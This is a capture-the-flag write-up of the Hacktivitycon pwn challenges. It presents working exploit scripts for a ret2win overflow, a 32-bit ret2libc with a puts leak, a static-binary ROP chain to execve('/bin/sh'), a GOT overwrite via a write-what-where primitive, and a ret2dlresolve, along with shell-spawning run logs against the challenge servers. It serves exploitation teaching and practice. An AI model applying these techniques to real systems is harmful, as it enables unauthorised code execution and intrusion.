Hacktivitycon - Pwn challenges

I played this CTF mainly because I was chilling out and wanted to try out some challenges from the CTF. I managed to do the every pwn challenge except space one which was heap and the exploitation mechanism of it belongs to GLIBC 2.27 and I am only familiar with GLIBC 2.24 at the moment, but I know what to do this week,


Pancake challenge was very simple as the buffer overflow was very suspectible as the binary used the gets function which is a vulnerable function as it’ll keep taking the input a new line \n is encountered. To our luck, the binary has a function named secret which spawns a shell for us. This was basically a ret2win technique.

The main function looks like:-

undefined8 main(void)

  char desired_pancakes_str [128];
  int desired_pancakes;
  int tick_2;
  int tick_1;
  int tick_0;

  desired_pancakes = 0;
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  puts("Welcome to the pancake stacker!");
  puts("How many pancakes do you want?");
  gets(desired_pancakes_str); /* Vulnerable */

  -- snip --
  return 0;

The offset to RIP is 152 because:

  • We have a variable type char of size 128
  • 4 integers variables declared afterwars that means, sizeof(int) * 4 which is 16
  • Adding the size of variables will be 144 and adding 8 to it we get 152 which is the offset.

The exploit:-

from roppy import *

elf = ELF("pancake")
p = process("./binary")

payload = b"A"*152
payload += p64(elf.function('secret_recipe'))

# FLAG:  flag{too_many_pancakes_on_the_stack}



This challenge was simple ret2libc attack and the binary used strcat to add 3 different buffer to single buffer which made it suspectible to buffer overflow as the 3 different buffer will be able to overflow the buffer s where all of those were being concatenated. Although, giving large buffer to all 3 different inputs will result in segfault in internal strcat function of LIBC.

int build()
  char src; // [esp+0h] [ebp-1C8h]
  char v2; // [esp+40h] [ebp-188h]
  char v3; // [esp+80h] [ebp-148h]
  char s[264]; // [esp+C0h] [ebp-108h]

  memset(s, 0, 0x100u);
  puts("Insert the protocol:");
  puts("Insert the domain:");
  puts("Insert the path:");
  strcat(s, &src);
  *(_DWORD *)&s[strlen(s)] = 3092282;
  strcat(s, &v2);
  *(_WORD *)&s[strlen(s)] = 47;
  strcat(s, &v3);
  return puts(s);

Here, we see that memset fills the variable s with 0 and then takes input via getInput which is a custom read function which takes upto 64 bytes with the getchar and then checks if the number of input is more than 64. When we send 64 bytes to first and second buffer and send 63 bytes we get segfault and control over EIP.

So, from here it was just as simple as doing a 32 bit ret2libc, since LIBC wasn’t provided I leaked the puts address and used the libc database.

from roppy import *

p = remote("jh2i.com", 50017)

elf = ELF("almost")
libc = ELF("libc6-i386_2.27-3ubuntu1.2_amd64.so")

def protocol():
    p.sendlineafter(":\n", "A"*64)

def domain():
    p.sendlineafter(":\n", "B"*64)

def path(payload):
    payload = payload.ljust(63, b"c")
    p.sendlineafter(":\n", payload)


payload = b"A"*10
payload += p32(elf.plt("puts"))      # function 
payload += p32(elf.function("main")) # return address
payload += p32(elf.got("puts"))      # arg1


leak = u32(p.recv(4))
log.info("puts@GOT:   0x%x" %(leak))
libc.address = leak - libc.function("puts")


payload = b"A"*10
payload += p32(libc.function("system"))
payload += p32(0xdeadbeef)

payload += p32(libc.search(b"/bin/sh\x00"))



Running te exploit:-

0 [07:43:53] vagrant@oracle(oracle) pwn> python3 almost.py 
[+] Opening connection to jh2i.com on port 50017: Done
[*] Analyzing /home/vagrant/CTFs/hacktivity/pwn/almost
[*] Analyzing /home/vagrant/CTFs/hacktivity/pwn/libc6-i386_2.27-3ubuntu1.2_amd64.so
[*] puts@GOT:   0xf7d8b3d0
[*] Switching to interactive mode
almost    almost.c  flag.txt
$ cat flag.txt
[*] Interrupted
[*] Closed connection to jh2i.com port 50017


This was a statically linked binary and it had a stack overflow vulnerability and since it was statically linked no ret2libc could be done, I chose the ROP way to do a read syscall to store /bin/sh in BSS address and then did a execvesyscall. As it was statically linked binary, we had every needed gadget this made it simple to exploit:-


from roppy import *

p = remote("jh2i.com", 50002)

# flag{radically_statically_roppingly_vulnerable}

pop_rdi = p64(0x40187a)
syscall = p64(0x40eda4)
pop_rdx = p64(0x40177f)
pop_rsi = p64(0x407aae)
pop_rax = p64(0x43f8d7)
bss     = p64(0x4ae310)

payload = b"a"*264

# The read syscall
payload += pop_rdi   
payload += p64(0)
payload += pop_rsi
payload += bss
payload += pop_rdx
payload += p64(0x8)
payload += pop_rax
payload += p64(0x0)
payload += syscall

# The execve syscall payload: execve(bss, 0, 0)

payload += pop_rdi
payload += bss
payload += pop_rsi
payload += p64(0x0)
payload += pop_rdx
payload += p64(0x0)
payload += pop_rax
payload += p64(59)
payload += syscall


# Sedding `/bin/sh` and then the execve syscall will 


Running the exploit:-

0 [07:44:40] vagrant@oracle(oracle) pwn> python3 sad.py 
[+] Opening connection to jh2i.com on port 50002: Done
[*] Switching to interactive mode
$ ls
$ cat flag.txt
[*] Interrupted
[*] Closed connection to jh2i.com port 50002

Reference: https://pwning.tech/2020/03/09/zer0pts-hipwn/


This challenge was quite good and I liked it, it provided us a write-what-where primitive as a service and since the binary has Partial RELRO which means GOT entry was writeable, such a handy information. It was also leaking the alarm libc address which made it simple for us to get LIBC address by searching it ftro libc database.

[*] '/home/vagrant/CTF/hacktivitycon/pwn/bullseye'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


from roppy import *
from time import sleep

# flag{one_write_two_write_good_write_bad_write}

HOST = "jh2i.com"
PORT = 50031

libc = ELF("libc6_2.30-0ubuntu2.1_amd64.so")
exit_got  = "0x404058"
sleep_got = "0x404060"
main      = "0x401260"
read_got  = "0x404038"

p = remote(HOST, PORT)

def send_data(where, what):
        p.sendlineafter("?\n", where)
        p.sendlineafter("?\n", what)

send_data(exit_got, main)
alarm = int(p.recvline().strip(b"\n"), 16)
log.info("alarm:  0x%x" %(alarm))
libc.address = alarm - libc.function("alarm")
log.info("LIBC  :  0x%x" %(libc.address))
log.info("system:  0x%x" %(libc.function("system")))
send_data(sleep_got, main)

send_data("0x404040", hex(libc.function("system")))


Running the exploit:-

0 [07:40:13] vagrant@oracle(oracle) pwn> python3 bullseye.py 
[*] Analyzing /home/vagrant/CTFs/hacktivity/pwn/libc6_2.30-0ubuntu2.1_amd64.so
[+] Opening connection to jh2i.com on port 50031: Done
[*] alarm:  0x7fbca7ea8be0
[*] LIBC  :  0x7fbca7dc3000
[*] system:  0x7fbca7e184e0
[*] Paused [Press any key to continue]
[*] Switching to interactive mode
You have one write, don't miss.

Where do you want to write to?
$ /bin/sh
$ cat flag.txt
$ exit
sh: 2:@: not found
What do you want to write?
[*] Got EOF while reading in interactive
[*] Interrupted
[*] Closed connection to jh2i.com port 50031


This is quite a good challenge. We were given a binary and it had a stackoverflow vulnerability, the program was:-

int main()
  char buf[1036];
  read(0, buf, 1056)

Although, it had stackoverflow vulnerability I couldn’t get to understand how to pwn this, since there wasn’t anything to leak any address so the ret2libc was out of option here, then I thought of ret2dl_resolve, this technique I learned about does not require any address leak, it will exploit the dl_runtime_resolve to exploit the link map of the functions. Using pwntools’s ROP module, it was a piece of cake.


from pwn import *

p = remote("jh2i.com", 50032)

rop = ROP("bacon")
elf = ELF("bacon")

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)

raw_rop = rop.chain()

payload = b"A"*1036
payload += raw_rop
payload += dlresolve.payload


Running the exploit:-

0 [07:39:10] vagrant@oracle(oracle) pwn> python3 bacon.py 
[+] Opening connection to jh2i.com on port 50032: Done
[*] '/home/vagrant/CTFs/hacktivity/pwn/bacon'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Loading gadgets for '/home/vagrant/CTFs/hacktivity/pwn/bacon'
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ ls
$ cat flag.txt
[*] Interrupted

Reference: https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62

That was it, I wish I did space too. But I couldn’t, so I am gonna do it later today as I took some help from someone who did the challenge. In case, you need help just message me on twitter.

Author: D4mianwayne
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